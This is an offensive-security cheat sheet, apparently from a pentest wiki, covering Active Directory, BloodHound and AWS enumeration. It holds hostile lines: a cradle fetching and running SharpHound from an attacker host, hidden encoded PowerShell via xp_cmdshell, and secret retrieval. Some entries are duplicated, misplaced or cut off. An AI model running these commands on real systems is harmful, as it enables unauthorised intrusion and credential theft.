In this phase, the attacker should be focused on enumerating information that can be further used to elevate privileges or perform lateral movements.

## Domain

### General Information

* **Get current domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-Domain [-Domain <DIFFERENT_DOMAIN>]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADDomain [-Identity <DOMAIN>]
```

{% endtab %}
{% endtabs %}

* **Get current domain controller**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainController [-Domain <DIFFERENT_DOMAIN>] | select Forest, Name, OSVersion | fl 
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADDomainController [-DomainName <DOMAIN>] [-Discover]
```

{% endtab %}
{% endtabs %}

* **Get domain policy data**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainController [-Domain <DIFFERENT_DOMAIN>] | select Forest, Name, OSVersion | fl 
```

{% endtab %}
{% endtabs %}

### Forest

* **Return the forest object**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-Forest [-Forest <FOREST>]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADForest [-Identity <FOREST>]
```

{% endtab %}
{% endtabs %}

* **Get all domains from your current forest**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ForestDomain [-Forest <FOREST>]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADForest [-Identity <FOREST>] | fl Domains
```

{% endtab %}
{% endtabs %}

* **Get the Global Catalogs of the forest**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ForestGlobalCatalog [-Forest <FOREST>]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADForest | select -ExpandProperty GlobalCatalogs
```

{% endtab %}
{% endtabs %}

### Trust

* **Return all domain trusts for the current or specified domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainTrust [-Domain <DomainName>]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADTrust {-Filter * | -Identity "<Domain>"}
```

{% endtab %}

{% tab title="CMD" %}

```bash
nltest /domain_trusts
```

{% endtab %}
{% endtabs %}

* **Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds.**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainTrustMapping
```

{% endtab %}
{% endtabs %}

* **Return all forest trusts for the current forest or a specified forest.**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ForestTrust [-Forest <"FOREST>"]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

{% endtab %}
{% endtabs %}

## Users

### General Information

* **Obtain users**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainUser -Identity <USERNAME> [-Properties DisplayName, MemberOf | fl]
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADUser -Filter * | ?{ $_.Enabled -eq "true" }  Select SamAccountName
# Detailed information about a user
Get-ADUser -Identity <USERNAME> -Properties *
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
.\ADSearch.exe --search "objectCategory=user"
```

{% endtab %}
{% endtabs %}

* **Built-in accounts**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name, Description
```

{% endtab %}
{% endtabs %}

* **Get group memberships**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGroup -UserName "<USERNAME>"
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADPrincipalGroupMembership -Identity "<USERNAME>"
```

{% endtab %}
{% endtabs %}

* **Obtain the Last time a password was set of each user**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ADUser -Filter * -Properties * | select name ,logoncount ,@{expression={[datetime]::fromFileTime($_pwdlastset)}}
```

{% endtab %}
{% endtabs %}

* **Finds domain machines where specific users are logged into. By default 'Domain Admins'**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-DomainUserLocation -Verbose [-CheckAccess] [{-UserGroupIdentity|-UserIdentity} <Identity>]
```

{% endtab %}
{% endtabs %}

### Security

* **Kerberoast**&#x20;

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainUser -SPN | select serviceprincipalname
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
.\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
```

{% endtab %}
{% endtabs %}

* **AS-Reporoast**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainUser -PreauthNotRequired -Verbose
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True } -Properties DoesNotRequirePreAuth | select UserPrincipalName
```

{% endtab %}
{% endtabs %}

* **Search passwords on the description attribute**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name, Description
```

{% endtab %}
{% endtabs %}

* **Show in which machine you are admin (based on your current privileges)**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-LocalAdminAccess
```

{% endtab %}
{% endtabs %}

* **Constrained delegation**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetUser -TrustedToAuth
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
 .\ADSearch.exe --search "(&(objectCategory=user)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
```

{% endtab %}
{% endtabs %}

## Groups

* **List all the groups in the current domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGroup [| where Name -like "*Admins*" | select SamAccountName]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADGroup -Filter * | select name
# More detailed version
Get-ADGroup -Filter * -Properties *
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
# Admin Groups
.\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" [--attributes cn,member]
# MSSQL Groups
.\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member
```

{% endtab %}
{% endtabs %}

* **List all the members in a specific group**:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGroupMember -Identity "Domain Admins" [| select MemberDistinguishedName]	
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object SamAccountName
```

{% endtab %}
{% endtabs %}

* **List groups of a user**

{% tabs %}
{% tab title="ADModule" %}

```powershell
Get-ADPrincipalGroupMembership <USER> 
```

{% endtab %}
{% endtabs %}

* **Get GPOs of a group**

> :information\_source:To obtain GPO name from `GPOUid` use `Get-GPO -Guid "{...}"`

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPOUserLocalGroupMapping [-Identity "<GROUP_NAME>" | -LocalGroup Administrators] | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl
```

{% endtab %}
{% endtabs %}

## Computers

### General information

* **List computers**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetComputer [| select samaccountname, DnsHostName, operatingsystem]
Get-DomainComputer -OperatingSystem "*Server 2016*"

# Get Name, IP and Operating System
Get-NetComputer  -Properties name,dnshostname, OperatingSystem | ForEach-Object { $_ | Add-Member -NotePropertyName IPAddressV4 -NotePropertyValue (Resolve-DnsName -Type A -Name $_.dnshostname).IPAddress -Force; $_  } | Select-object -Property name,dnshostname,IPAddressV4, OperatingSystem | Format-Table -AutoSize
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-AdComputer -Filter * | select Name
```

{% endtab %}
{% endtabs %}

* **Return PCs that can be pinged**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetComputer -Ping
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName | fl Address,IPV4Address,IPV6Address,ResponseTime} 
```

{% endtab %}
{% endtabs %}

* **Get users logged on** (Requires admin privileges)

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetLoggedon -ComputerName "<COMPUTER_NAME>" | Select Username
```

{% endtab %}
{% endtabs %}

* **Get locally logged on users**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-LoggedonLocal -ComputerName "<HOSTNAME>"
```

{% endtab %}
{% endtabs %}

* **Enumerates local or groups on a machine** (Requires admin privileges).

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetLocalGroup -ComputerName "<HOSTNAME>"
# Get the members of Local Groups
Get-NetLocalGroupMember -ComputerName "<HOSTNAME>" -GroupName "<GROUP_NAME>"
```

{% endtab %}
{% endtabs %}

* **Returns the last user who logged onto the local machine** (Requires administrative rights and remote registry enabled on the target)

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-LastLoggedOn -ComputerName <HOSTNAME>
```

{% endtab %}
{% endtabs %}

### Security

* **Enumerate all ACES for all domain computers that matches our current computer**.

```powershell
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_ | Select-object -Property ObjectDN,ActiveDirectoryRights, AceType,ObjectAceType, Identity |  Format-List}}
```

* **Computers with unconstrained delegation**: Exploitation at [Unconstrained Delegation](/active-directory/kerberos#unconstrained-delegation)

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainComputer -UnConstrained | select samaccountname
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
.\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
```

{% endtab %}
{% endtabs %}

* **Computers with constrained delegation**: Exploitation at [Constrained Delegation](/active-directory/kerberos#constrained-delegation)

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto,useraccountcontrol | fl

Get-NetComputer | where-object {$_."msds-allowedtodelegateto" -ne $null} | select name, msds-allowedtodelegateto, useraccountcontrol | fl

Get-NetComputer <COMPUTER_NAME> | Select-Object -ExpandProperty msds-allowedtodelegateto | fl
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

{% endtab %}
{% endtabs %}

* **Resource-Based Constrained Delegation**: Exploitation at [Resource-Based Constrained Delegation (GenericWrite to Computer)](/active-directory/kerberos#resource-based-constrained-delegation-genericwrite-to-computer)

> Need a privilege like **WriteProperty**, **GenericAll**, **GenericWrite** or **WriteDacl** on the **computer** object:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

{% endtab %}

{% tab title="ADSearch" %}

```powershell
.\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
```

{% endtab %}
{% endtabs %}

## Group Policies Objects (GPO)s

### General information

* **Get list of GPO in current domain**.

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPO [-ComputerIdentity <COMPUTER_NAME>] -Properties DisplayName | sort -Property DisplayName
```

{% endtab %}
{% endtabs %}

* **Returns all GPOs that modify local group membership through Restricted Groups or Group Policy Preferences**:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPOLocalGroup [-ComputerIdentity <COMPUTER_NAME>] | select GPODisplayName, GroupName
```

{% endtab %}
{% endtabs %}

* **Enumerates the machines where a specific domain user/group is a member of a specific local group** (Useful for finding where domain groups have local admin access):

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl
```

{% endtab %}
{% endtabs %}

* **Finds what users/groups are in the specified local group for a target machine through GPO correlation**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity "<HOSTNAME>"
```

{% endtab %}
{% endtabs %}

### Get Modifiable GPOs

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericWrite" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

{% endtab %}
{% endtabs %}

**Principals with "Create groupPolicyContainer objects" privilege**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
```

{% endtab %}
{% endtabs %}

## Organizational Units (OU)

* **Get Domain Organizational Units**:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainOU [-Properties Name | sort -Property Name]
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
Get-ADOrganizationalUnit -Filter * -Properties *
```

{% endtab %}
{% endtabs %}

* **Get GPO applied to an OU**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainGPO -Identity "<GPLink_RelativeCN>"
```

{% endtab %}
{% endtabs %}

## Access Control Lists (ACL)s

* **Enumerate user rights**:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-ObjectAcl -SamAccountName "<USER>" -ResolveGUIDs 
```

{% endtab %}
{% endtabs %}

* **Returns the ACLs associated with a specific active directory object**.

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-DomainObjectAcl -ResolveGUIDs -SamAccountName "<USERNAME>"
```

{% endtab %}

{% tab title="ADModule" %}

```powershell
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cs,DC=org').Access
```

{% endtab %}
{% endtabs %}

* **Finds interesting object ACLS in the current domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs
```

{% endtab %}
{% endtabs %}

* **Enumerate RDP Users permissions**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```

{% endtab %}
{% endtabs %}

## Shares

* **Enumerate shares**:

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-DomainShare
# Enumerate the Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```

{% endtab %}
{% endtabs %}

* **Enumerates the shares you have access**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Find-DomainShare -CheckShareAccess
```

{% endtab %}
{% endtabs %}

* **Find shares on hosts in current domain**.

{% tabs %}
{% tab title="PowerView" %}

```powershell
Invoke-ShareFinder -Verbose
```

{% endtab %}
{% endtabs %}

* **Get all fileservers of the domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Get-NetFileServer
```

{% endtab %}
{% endtabs %}

* **Searches for files matching specific criteria on readable shares in the domain**

{% tabs %}
{% tab title="PowerView" %}

```powershell
Invoke-FileFinder -Verbose
```

{% endtab %}
{% endtabs %}

## MSSQL

### General information

* **Discover Active Directory Domain SQL Server Instances**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLInstanceDomain
```

{% endtab %}
{% endtabs %}

* **Tests if the current Windows account or provided SQL Server login can log into an SQL Server.**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLConnectionTest -Instance "<HOSTNAME,PORT>" | fl
# If there are several instances use the following oneline
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```

{% endtab %}
{% endtabs %}

* **Returns basic server and user information from target SQL Servers.**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLServerInfo -Instance "<HOSTNAME,PORT>"
```

{% endtab %}
{% endtabs %}

### **Links**

* **Look for links to remote servers**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLServerLink -Verbose -Instance "<HOSTNAME,PORT>" 
```

{% endtab %}

{% tab title="MSSQL" %}

```sql
select * from master..sysservers
```

{% endtab %}
{% endtabs %}

* **Enumerate and follow MSSQL database links**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLServerLinkCrawl -Verbose -Instance "<HOSTNAME,PORT>" 
```

{% endtab %}
{% endtabs %}

### **Perform Queries**

* **Perform queries**

{% tabs %}
{% tab title="PowerUpSQL" %}

```powershell
Get-SQLQuery -Instance "<HOSTNAME,PORT>" -Query "select @@servername"
```

{% endtab %}
{% endtabs %}

* **Perform queries using the linked database**

{% tabs %}
{% tab title="MSSQL" %}

```powershell
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
```

{% endtab %}
{% endtabs %}

### **CMDShell**

* **Check if xp\_cmdshell module is enabled**

{% tabs %}
{% tab title="MSSQL" %}

```powershell
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'
```

{% endtab %}
{% endtabs %}

* **Enable xp\_cmdshell**

{% tabs %}
{% tab title="MSSQL" %}

```sql
sp_configure 'Show Advanced Options', 1; RECONFIGURE;sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

{% endtab %}
{% endtabs %}

* **Execute commands**

{% tabs %}
{% tab title="MSSQL" %}

```sql
"EXEC xp_cmdshell 'powershell -w hidden -enc <ENCODED_COMMAND>';
```

{% endtab %}
{% endtabs %}

## Tools

* [LinWinPwn](https://github.com/lefayjey/linWinPwn): Automates a number of Active Directory Enumeration and Vulnerability checks.
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1): PowerShell tool to gain network situational awareness on Windows domains.
* [ADSearch](https://github.com/tomcarver16/ADSearch): Perform LDAP queries.
* [PowerUPSQL](https://github.com/NetSPI/PowerUpSQL): Module that includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post-exploitation actions such as OS command execution.
* [ADModule](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps): The Active Directory module for Windows PowerShell.

## References

* [AD Enumeration Toolkit](https://academy.hackthebox.com/course/preview/active-directory-powerview/ad-enumeration-toolkit)
* [Bloodhound docs](https://bloodhound.readthedocs.io/en/latest/index.html)
* [PowerView (HackTricks)](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview)
* [Red Team Ops](https://training.zeropointsecurity.co.uk/courses/red-team-ops)


# BloodHound & SharpHound

## Introduction

﻿﻿﻿﻿﻿[BloodHound](https://bloodhound.readthedocs.io/en/latest/index.html) is a graphic interface tool that allows you to map the AD environment visually. An attacker can use BloodHound to quickly identify highly complex attack paths that would otherwise be impossible.

However, prior to any data visualisation, it is required to use [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html), the official data collector for BloodHound, to detect what domain your current user belongs to, find a domain controller for that domain and gather data like:

* Security group memberships
* Domain trusts
* Abusable rights on Active Directory objects
* Group Policy links
* OU tree structure
* Several properties from computer, group and user objects
* SQL admin links

## Installation & Configuration

In order to install BloodHound on your Kali machine execute the following steps.

1\. Install bloodhound & neo4j

```bash
sudo apt install bloodhound neo4j -y
```

2\. Configure neo4j database: Execute `sudo neo4j console`, access to <http://localhost:7474/> with neo4j default credentials "neo4j:neo4j" and change the default password.&#x20;

3\. Execute `sudo bloodhound` and log in with the new set of credentials.

## Data gathering

There are two ways to obtain the required data to populate BloodHound.

### Local

[Download](https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1) and execute SharpHound. Then, transfer the `*_loop.zip` files into your machine.

```powershell
powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/SharpHound.ps1'); Invoke-Bloodhound -CollectionMethod All [-Domain <DOMAIN>] [-OutputDirectory <OUTPUT_DIR>] -ZipFileName loot.zip "
```

### Remote

```bash
pip3 install bloodhound
bloodhound-python -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -ns <NAMESERVER_IP> -d <DOMAIN> -c All
```

Finally, drag and drop the generated files into the BloodHound interface for ingestion, playing with the default queries.

## BloodHound queries

* Find workstations a user can RDP into.

```bash
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND NOT c.operatingsystem CONTAINS 'Server' return p
```

* Find servers a user can RDP into.

```bash
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'
```

* Find what groups can RDP

```bash
MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name
```

* Find all the privileges (edges) of the domain users against the domain computers (e.g. CanRDP, AdminTo etc. HasSession edge is not included):

```bash
MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[*1]->(
```


# AWS

### Introduction <a href="#introduction" id="introduction"></a>

Nowadays, it is pretty common that applications are being executed inside cloud environments like Amazon Web Service (AWS). In this section, you will learn some techinques that will help you to enumerate your environment.

## Profile Configuration

```bash
aws configure --profile $profile
aws configure set aws_session_token "" --profile $profile
```

### Assume Role

```bash
# Assume the role
aws sts assume-role \
  --role-session-name "PostExploitSession" \
  --profile $profile \
  --role-arn "" > /tmp/post_creds.json

# Export to environment variables
## JQ
export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' /tmp/post_creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' /tmp/post_creds.json)
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' /tmp/post_creds.json)
## Python
export AWS_ACCESS_KEY_ID=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["AccessKeyId"])')
export AWS_SECRET_ACCESS_KEY=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["SecretAccessKey"])')
export AWS_SESSION_TOKEN=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["Token"])')

# Update the AWS CLI profile configuration
aws configure set aws_access_key_id "$AWS_ACCESS_KEY_ID" --profile $profile
aws configure set aws_secret_access_key "$AWS_SECRET_ACCESS_KEY" --profile $profile
aws configure set aws_session_token "$AWS_SESSION_TOKEN" --profile $profile
aws configure set region us-east-1 --profile $profile
aws configure set output json --profile $profile

```

## Enumeration Commands

### Caller identity

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/index.html#whoami)

```bash
aws sts get-caller-identity --query 'Arn' --output text --profile $profile
aws iam get-user --profile $profile
# If you only have a Key ID
aws sts get-access-key-info --access-key-id=ASIA1234567890123456
```

### IAM

#### Policies

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-iam-enum.html#enumeration)

```bash
# Obtain none default policies
aws iam list-policies --scope Local --profile $profile \
--query 'Policies[].{PolicyName:PolicyName, PolicyARN:Arn}' --output table


aws iam list-attached-user-policies --query AttachedPolicies --profile $profile --user-name ""

aws iam get-policy-version --version-id v1 --query 'PolicyVersion.Document.Statement[]' --profile $profile --policy-arn ""
```

#### Roles

```bash
aws iam list-roles --profile $profile | jq .Roles[].RoleName
#Get role
aws iam get-role --profile $profile  --role-name <role-name> 
## inline policies
aws iam list-role-policies --profile $profile --role-name <name> #Get inline policies of a role
aws iam get-role-policy --profile $profile --role-name <name> --policy-name "" #Get inline policy details
## attached policies in roles
aws iam list-attached-role-policies --profile $profile --role-name "" #Get policies of role, it doesn't get inline policies
```

### Secrets

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.html#enumeration)

```bash
aws secretsmanager list-secrets --profile $profile --query 'SecretList[].Name'
aws secretsmanager get-secret-value --profile $profile --secret-id ""
```

### KMS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-kms-enum.html#enumeration)

```bash
aws kms list-aliases --profile $profile --query 'Aliases[?TargetKeyId].{AliasName:AliasName, TargetKeyId:TargetKeyId}'

# Check key access
aws kms list-keys --profile $profile --query Keys[].KeyId | jq .[] -r | xargs -I [] bash -c 'aws kms describe-key --key-id [] --profile $profile 2>&1 | grep -v AccessDeniedException'

# Key Policy
aws kms list-key-policies --profile $profile --query PolicyNames --key-id ""
aws kms get-key-policy --profile $profile --query Policy --output text --policy-name "<default>" --key-id "" 
```

### S3

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.html#enumeration)

```bash
aws s3 ls --profile $profile

aws s3api get-bucket-policy --profile $profile --query Policy --output text --bucket "" | jq

aws s3api get-object-acl --profile $profile --bucket "" --key "flag.txt" 


```

### EC2

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/index.html#enumeration)

```bash
aws ec2 describe-instances \
 	--output json --profile $profile \
    --query 'Reservations[*].Instances[*].{Instance:InstanceId,Type:InstanceType,IamProfile:IamInstanceProfile.Arn,State:State.Name,PrivateIP:PrivateIpAddress,PublicIP:PublicIpAddress,SGs:SecurityGroups[*],Name:Tags[?Key==`Name`].Value | [0]}' 
    
# Enumerate ONLY EC2 instances with public IPs
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text --profile $profile

# UserData
aws ec2 describe-instance-attribute --profile $profile \
	--region us-east-1 --instance-id "" \
	--attribute userData  | jq ".UserData.Value" | tr -d '"' | base64 -d


aws ec2 describe-security-groups \
	--output table --profile $profile \
	--group-ids "" \
	--query 'SecurityGroups[*].IpPermissions[*].{Protocol:IpProtocol, FromPort:FromPort, ToPort:ToPort, Source:IpRanges[*].CidrIp | [0]}'

# Get if IMDSv2 is enabled 
# "HttpTokens": "optional" -> IMDSv1 & IMDSv2 are accepted
# "HttpTokens": "required" -> IMDSv2 is enforced
aws ec2 describe-instances \
    --instance-ids "" \
    --query 'Reservations[*].Instances[*].MetadataOptions' \
    --profile $profile
```

### LightSail - Database

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.html#enumeration)

```bash
aws lightsail get-instances --profile $profile

aws lightsail get-relational-databases \
	--query 'relationalDatabases[*].{Name:name, Host:masterEndpoint.address, Port:masterEndpoint.port, User:masterUsername, Public:publiclyAccessible, State:state}' \
	--output json --profile $profile
```

### RDS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.html#enumeration)

```bash
aws rds describe-db-instances --profile $profile --output json \
  --query 'DBInstances[*].{ID:DBInstanceIdentifier, Status:DBInstanceStatus, Engine:Engine, Class:DBInstanceClass, Size:AllocatedStorage, Public:PubliclyAccessible, Endpoint:Endpoint.Address, Port:Endpoint.Port, MasterUser:MasterUsername, Roles:AssociatedRoles}'
		
aws rds describe-db-snapshots \
    --include-public \
    --profile $profile \
    --query "DBSnapshots[?contains(DBSnapshotIdentifier, '<SOURCE_ACCOUNT_ID>:')].[DBSnapshotIdentifier,Engine,AllocatedStorage]"
```

### Lambda

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.html#enumeration)

```bash
aws lambda list-functions --profile $profile --output json \
  --query 'Functions[*].{Name:FunctionName, ARN:FunctionArn, Role:Role, Runtime:Runtime, Description:Description, Env:Environment.Variables, Handler:Handler}'
  
aws lambda get-function-url-config \
  --profile $profile \
  --function-name ""
  
wget -nv -O /tmp/lambda_function.zip $(aws lambda get-function --profile $profile --query 'Code.Location' --function-name "" --output text)
```

### EFS

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-efs-enum.html#enumeration)

```bash
# Enumerating the EFS and its mount targets
aws efs describe-file-systems --profile $profile --query 'FileSystems[].FileSystemId' --output text \
| tr '\t' '\n' \
| while read fs; do
    echo "=== $fs ===";
    aws efs describe-file-systems --file-system-id "$fs" \
      --profile $profile \
      --query 'FileSystems[].{Id:FileSystemId,State:LifeCycleState,Encrypted:Encrypted,MountTargets:NumberOfMountTargets}' \
      --output table;
    aws efs describe-mount-targets --file-system-id "$fs" \
      --profile $profile \
      --query 'MountTargets[].{MountTargetId:MountTargetId,SubnetId:SubnetId,AZ:AvailabilityZoneName,Ip:IpAddress}' \
      --output table;
  done
```

### DynamoDB

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.html#enumeration)

```bash
aws dynamodb list-tables --profile $profile --query TableNames
